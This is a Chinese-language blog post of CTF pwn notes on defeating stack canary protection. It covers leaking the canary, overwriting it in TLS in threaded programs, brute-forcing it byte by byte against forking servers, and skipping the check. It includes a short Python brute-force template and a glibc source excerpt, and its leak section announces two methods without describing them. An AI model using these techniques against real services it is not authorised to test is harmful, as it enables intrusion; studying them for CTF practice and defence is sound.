PWN之canary骚操作

2018-08-12  本文已影响1320人  cceb9d5a8577

最近做题遇到一些canary的保护的题目,于是想着搜集整理一波有关绕过canary的操作。

Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他漏洞产生的Canary泄露
需要注意的是:canary一般最高位是\x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作

0x01

泄漏canary:

这个操作大概分两种:

"debug/fortify_fail.c"
void
__attribute__ ((noreturn))
__fortify_fail (msg)
 const char *msg;
{
 /* The loop is added only to keep gcc happy. */
 while (1)
 __libc_message (2, "*** %s ***: %s terminated\n",
 msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

0x02

修改canary

由于多线程中Canary存入TLS结构体,而TLS位于多线程内部栈的高地址,并且该结构体与当前栈差距不足一个page,导致我们能对其进行修改,改为我们想要的值,从而绕过检测。

这种操作一般在多线程下进行,而且溢出的字节必须足够大才能溢出到tls的位置从而修改canary
题目详见:https://www.jianshu.com/p/110f715c210f中的babystack

0x03

爆破canary

Canary在设计中存在一个缺陷,这个缺陷或许不是由于Canary的设计问题,而是linux的机制导致的,那就是子进程会继承父进程的Canary,每一次fork的进程内存布局与父进程一致,Canary值也相同

这样当我们子进程由于Canary判断不正确导致程序crash后,父进程不会Crash
我们就完全可以利用这样的特点,彻底逐个字节将Canary爆破出来,爆破模板如下

print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
   for i in xrange(0,256):
      res = send2server(p + chr(i))

      if res != "":
         p = p + chr(i)
         #print "\t[+] Byte found 0x%02x" % i
         break

      if i == 255:
         print "[-] Exploit failed"
         sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary

0x04

绕过canary

这种操作的核心思想就是想办法让他不执行canary的报错或者直接跳过canary的检查

参考链接:
http://tacxingxing.com/2017/07/13/canary/
https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/
https://bestwing.me/2017-Shanghai-DCTF-final-pwn.html#%E6%80%9D%E8%B7%AF
https://github.com/solei1/solei1.github.io/wiki/Canary-bypass

上一篇下一篇

猜你喜欢

热点阅读